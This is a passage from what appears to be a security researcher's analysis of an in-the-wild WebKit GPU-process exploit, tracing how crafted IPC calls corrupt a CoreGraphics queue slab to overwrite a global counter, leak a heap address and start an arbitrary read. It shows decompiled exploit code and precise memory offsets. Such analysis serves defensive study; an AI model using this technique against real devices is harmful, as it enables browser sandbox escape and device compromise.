class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void* wrap_remote_buffer_unmap(int64 dst, int64 arg)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 b[5];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[0] = 0x7F6F3229LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[1] = 0LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[2] = 0LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[3] = 0xFFFFLL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[4] = arg;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return IPC_RemoteBuffer_Unmap(dst, b, 40LL);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">arg</span><span> value passed to </span><span class="YrefKOOkxY-c3">wrap_remote_buffer_unmap</span><span> (which is the base target address for the overwrite in the next step) is </span><span class="YrefKOOkxY-c3">(WTF::ObjectIdentifierBase::generateIdentifierInternal_void_::current - 0x88)</span><span class="YrefKOOkxY-c5">, a symbol which was linked by the JS find-and-replace on the Mach-O, it points to the global variable used here:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">int64 WTF::ObjectIdentifierBase::generateIdentifierInternal()</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return ++WTF::ObjectIdentifierBase::generateIdentifierInternal(void)::current;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>As the name suggests, this is used to generate unique ids using a monotonically-increasing counter (there is a level of locking above this function.) The value passed in the </span><span class="YrefKOOkxY-c3">Unmap</span><span> IPC points </span><span class="YrefKOOkxY-c3">0x88</span><span> below the address of </span><span class="YrefKOOkxY-c3">::current</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAww3z050R_dVijQpVdfLcavJy3a5fGpg6kDk71PjQW4okhHen7EdNUndSHT9Qxq_OAzC71ZMSGBbI-BmxX8p-6keXghnEPSLAGGdOCRL27fgLLgF0GjM0YtFbQro87p1HMuZvJ3sns87tRYRWbhGWFlLNxK11xcnfp6aKRtlmgXBlu_0jEoynRm1q0Ys/s548/image3.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing the corruption primitive being used to move the end pointer out of the allocated buffer to 0x88 bytes below the target" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAww3z050R_dVijQpVdfLcavJy3a5fGpg6kDk71PjQW4okhHen7EdNUndSHT9Qxq_OAzC71ZMSGBbI-BmxX8p-6keXghnEPSLAGGdOCRL27fgLLgF0GjM0YtFbQro87p1HMuZvJ3sns87tRYRWbhGWFlLNxK11xcnfp6aKRtlmgXBlu_0jEoynRm1q0Ys/s548/image3.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing the corruption primitive being used to move the end pointer out of the allocated buffer to 0x88 bytes below the target" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>If the groom works, this has the effect of corrupting a </span><span class="YrefKOOkxY-c3">QueueSlab</span><span>'s inline buffer pointer with a pointer to </span><span class="YrefKOOkxY-c3">0x88</span><span class="YrefKOOkxY-c5"> bytes below the counter used by the GPU process to allocate new identifiers.</span></p><h3 class="YrefKOOkxY-c6" id="h.k053kyitpufk"><span class="YrefKOOkxY-c10">IPC 3 - DrawNativeImage</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for ( n = 0; n < 0x22; ++n ) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (n == 2 || n == 4 || n == 6 || n == 8 || n == 10 || n == 12) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> continue</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDisplayListRecorder_DrawNativeImage(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + n,// potentially corrupted target</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 34LL);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The exploit then iterates through all the </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span> objects (skipping those which were released to make gaps for the </span><span class="YrefKOOkxY-c3">RemoteBuffers</span><span>) and passes each in turn as the first argument to </span><span class="YrefKOOkxY-c3">IPC_RemoteDisplayListRecorder_DrawNativeImage</span><span>. The hope is that one of them had their associated </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> structure corrupted. The second argument passed to </span><span class="YrefKOOkxY-c3">DrawNativeImage</span><span> is the </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span> which had </span><span class="YrefKOOkxY-c3">CacheNativeImage</span><span class="YrefKOOkxY-c5"> called on it earlier.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Let's follow the implementation of </span><span class="YrefKOOkxY-c3">DrawNativeImage</span><span> on the GPU process side to see what happens with the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> associated with that first </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void RemoteDisplayListRecorder::drawNativeImage(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RenderingResourceIdentifier imageIdentifier,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatSize& imageSize,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatRect& destRect,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatRect& srcRect,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const ImagePaintingOptions& options)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> drawNativeImageWithQualifiedIdentifier(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {imageIdentifier, m_webProcessIdentifier},</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> imageSize,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> destRect,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> srcRect,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This immediately calls through to:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteDisplayListRecorder::drawNativeImageWithQualifiedIdentifier(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> QualifiedRenderingResourceIdentifier imageIdentifier,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatSize& imageSize,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatRect& destRect,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatRect& srcRect,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const ImagePaintingOptions& options)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RefPtr image = resourceCache().cachedNativeImage(imageIdentifier);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!image) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ASSERT_NOT_REACHED();</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> handleItem(DisplayList::DrawNativeImage(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> imageIdentifier.object(),</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> imageSize,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> destRect, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> srcRect, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options),</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *image);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">imageIdentifier</span><span> here corresponds to the ID of the </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span> which was passed to </span><span class="YrefKOOkxY-c3">CacheNativeImage</span><span> earlier. Looking briefly at the implementation of </span><span class="YrefKOOkxY-c3">CacheNativeImage</span><span> we can see that it allocates a </span><span class="YrefKOOkxY-c3">NativeImage</span><span> object (which is what ends up being returned by the call to </span><span class="YrefKOOkxY-c3">cache</span><span class="YrefKOOkxY-c15">d</span><span class="YrefKOOkxY-c3">NativeImage</span><span class="YrefKOOkxY-c5"> above):</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteRenderingBackend::cacheNativeImage(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const ShareableBitmap::Handle& handle,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RenderingResourceIdentifier nativeImageResourceIdentifier)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> cacheNativeImageWithQualifiedIdentifier(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> handle,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {nativeImageResourceIdentifier,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_gpuConnectionToWebProcess->webProcessIdentifier()}</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> );</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteRenderingBackend::cacheNativeImageWithQualifiedIdentifier(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const ShareableBitmap::Handle& handle,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> QualifiedRenderingResourceIdentifier nativeImageResourceIdentifier)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto bitmap = ShareableBitmap::create(handle);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!bitmap)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto image = NativeImage::create(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bitmap->createPlatformImage(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> DontCopyBackingStore,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ShouldInterpolate::Yes), </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> nativeImageResourceIdentifier.object());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!image)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_remoteResourceCache.cacheNativeImage(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image.releaseNonNull(),</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> nativeImageResourceIdentifier);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>This </span><span class="YrefKOOkxY-c3">NativeImage</span><span class="YrefKOOkxY-c5"> object is allocated by the default system malloc.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Returning to the </span><span class="YrefKOOkxY-c3">DrawNativeImage</span><span class="YrefKOOkxY-c5"> flow we reach this:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void DrawNativeImage::apply(GraphicsContext& context, NativeImage& image) const</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> context.drawNativeImage(image, m_imageSize, m_destinationRect, m_srcRect, m_options);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">context</span><span> object is a </span><span class="YrefKOOkxY-c3">GraphicsContextCG</span><span>, a wrapper around a system </span><span class="YrefKOOkxY-c3">CoreGraphics</span><span> </span><span class="YrefKOOkxY-c3">CGContext</span><span class="YrefKOOkxY-c5"> object:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void GraphicsContextCG::drawNativeImage(NativeImage& nativeImage, const FloatSize& imageSize, const FloatRect& destRect, const FloatRect& srcRect, const ImagePaintingOptions& options)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This ends up calling:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CGContextDrawImage(context, adjustedDestRect, subImage.get());</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Which calls </span><span class="YrefKOOkxY-c0">CGContextDrawImageWithOptions.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Through a few more levels of indirection in the </span><span class="YrefKOOkxY-c3">CoreGraphics</span><span class="YrefKOOkxY-c5"> library this eventually reaches:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">int64 CA::CG::ContextDelegate::draw_image_(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 delegate,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a2,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a3,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGImage *image...) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alloc_from_slab = CA::CG::Queue::alloc(queue, 160);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (alloc_from_slab)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CA::CG::DrawImage::DrawImage(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alloc_from_slab,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Info_2,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> a2, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> a3, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> FillColor_2, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &v18, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> AlternateImage_0);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Via the </span><span class="YrefKOOkxY-c3">delegate</span><span> object the code retrieves the </span><span class="YrefKOOkxY-c3">CGContext</span><span> and from there the </span><span class="YrefKOOkxY-c3">Queue</span><span> with the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span class="YrefKOOkxY-c5">. They then make a 160 byte allocation from the corrupted queue slab.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void*</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CA::CG::Queue::alloc(CA::CG::Queue *q, __int64 size)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t buffer*;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> size_rounded = (size + 31) & 0xFFFFFFFFFFFFFFF0LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> current_slab = q->current_slab;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !current_slab )</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> goto alloc_slab;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !q->c || current_slab->remaining_size >= size_rounded )</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> goto GOT_ENOUGH_SPACE;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">GOT_ENOUGH_SPACE:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remaining_size = current_slab->remaining_size;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> new_remaining = remaining_size - size_requested_rounded;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( remaining_size >= size_requested_rounded )</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c15">buffer = current_slab->end</span><span class="YrefKOOkxY-c0">;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> current_slab->remaining_size = new_remaining;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> current_slab->end = buffer + size_rounded;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> goto RETURN_ALLOC;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RETURN_ALLOC:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c15">buffer[0]</span><span class="YrefKOOkxY-c0"> = size_rounded;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> atomic_fetch_add(q->alloc_meta);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c15">buffer[1]</span><span class="YrefKOOkxY-c0"> = q->alloc_meta</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c15">return &buffer[2]</span><span class="YrefKOOkxY-c0">;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>When </span><span class="YrefKOOkxY-c3">CA::CG::Queue::alloc</span><span> attempts to allocate from the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span>, it sees that the slab claims to have </span><span class="YrefKOOkxY-c3">0xffff</span><span> bytes of free space remaining so proceeds to write a </span><span class="YrefKOOkxY-c3">0x10</span><span> byte header into the buffer by following the </span><span class="YrefKOOkxY-c3">end</span><span> pointer, then returns that </span><span class="YrefKOOkxY-c3">end</span><span> pointer plus </span><span class="YrefKOOkxY-c3">0x10</span><span>. This has the effect of returning a value which points </span><span class="YrefKOOkxY-c3">0x78</span><span> bytes below the </span><span class="YrefKOOkxY-c3">WTF::ObjectIdentifierBase::generateIdentifierInternal(void)::current</span><span class="YrefKOOkxY-c5"> global.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">draw_image_</span><span> then passes this allocation as the first argument to </span><span class="YrefKOOkxY-c3">CA::CG::DrawImage::DrawImage</span><span> (with the </span><span class="YrefKOOkxY-c3">cachedImage</span><span class="YrefKOOkxY-c5"> pointer as the final argument.)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">int64 CA::CG::DrawImage::DrawImage(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 slab_buf,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a2,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a3,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a4,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a5,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> OWORD *a6,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGImage *img)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">(slab_buf + 0x78) = CGImageRetain(img);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">DrawImage</span><span> writes the pointer to the </span><span class="YrefKOOkxY-c3">cachedImage</span><span> object to </span><span class="YrefKOOkxY-c3">+0x78</span><span> in the fake slab allocation, which happens now to exactly overlap </span><span class="YrefKOOkxY-c3">WTF::ObjectIdentifierBase::generateIdentifierInternal(void)::current</span><span>. This has the effect of replacing the current value of the </span><span class="YrefKOOkxY-c3">::current</span><span> monotonic counter with the address of the cached </span><span class="YrefKOOkxY-c3">NativeImage</span><span class="YrefKOOkxY-c5"> object.</span></p><h3 class="YrefKOOkxY-c6" id="h.owlcrftmhivu"><span class="YrefKOOkxY-c10">IPC 4 - CreateCDM</span></h3> <p class="YrefKOOkxY-c2"><span>The final step in this section is to then call any IPC which causes the GPU process to allocate a new identifier using </span><span class="YrefKOOkxY-c3">generateIdentifierInternal</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">interesting_identifier = IPC_RemoteCDMFactoryProxy_CreateCDM();</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>If the new identifier is greater than </span><span class="YrefKOOkxY-c3">0x10000</span><span> they mask off the lower 4 bits and have successfully disclosed the remote address of the cached </span><span class="YrefKOOkxY-c3">NativeImage</span><span class="YrefKOOkxY-c5"> object.</span></p><h3 class="YrefKOOkxY-c6" id="h.58ehstxo8wtt"><span class="YrefKOOkxY-c10">Over and over - arbitrary read</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The next stage is to build an arbitrary read primitive, this time using 5 IPCs:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p><ol class="c8 lst-kix_fcb9u51bqgft-0 start" start="1"><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">MapAsync</span><span class="YrefKOOkxY-c5"> - sets up the destination pointer for the overflow</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">Unmap</span><span class="YrefKOOkxY-c5"> - performs the overflow, corrupting queue metadata</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">SetCTM</span><span class="YrefKOOkxY-c5"> - sets up parameters</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">FillRect</span><span class="YrefKOOkxY-c5"> - writes the parameters through a controlled pointer</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">CreateRecorder</span><span class="YrefKOOkxY-c5"> - returns data read from an arbitrary address </span></li></ol><h3 class="YrefKOOkxY-c6" id="h.qa1jg4ybv3il"><span class="YrefKOOkxY-c10">Arbitrary read IPC 1 & 2: MapAsync/Unmap</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">MapAsync</span><span> and </span><span class="YrefKOOkxY-c3">Unmap</span><span> are used to again corrupt the same </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> object, but this time the queue slab buffer pointer is corrupted to point </span><span class="YrefKOOkxY-c3">0x18</span><span class="YrefKOOkxY-c5"> bytes below the following symbol:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">WebCore::MediaRecorderPrivateWriter::mimeType(void)const::$_11::operator() const(void)::impl</span></p> <p 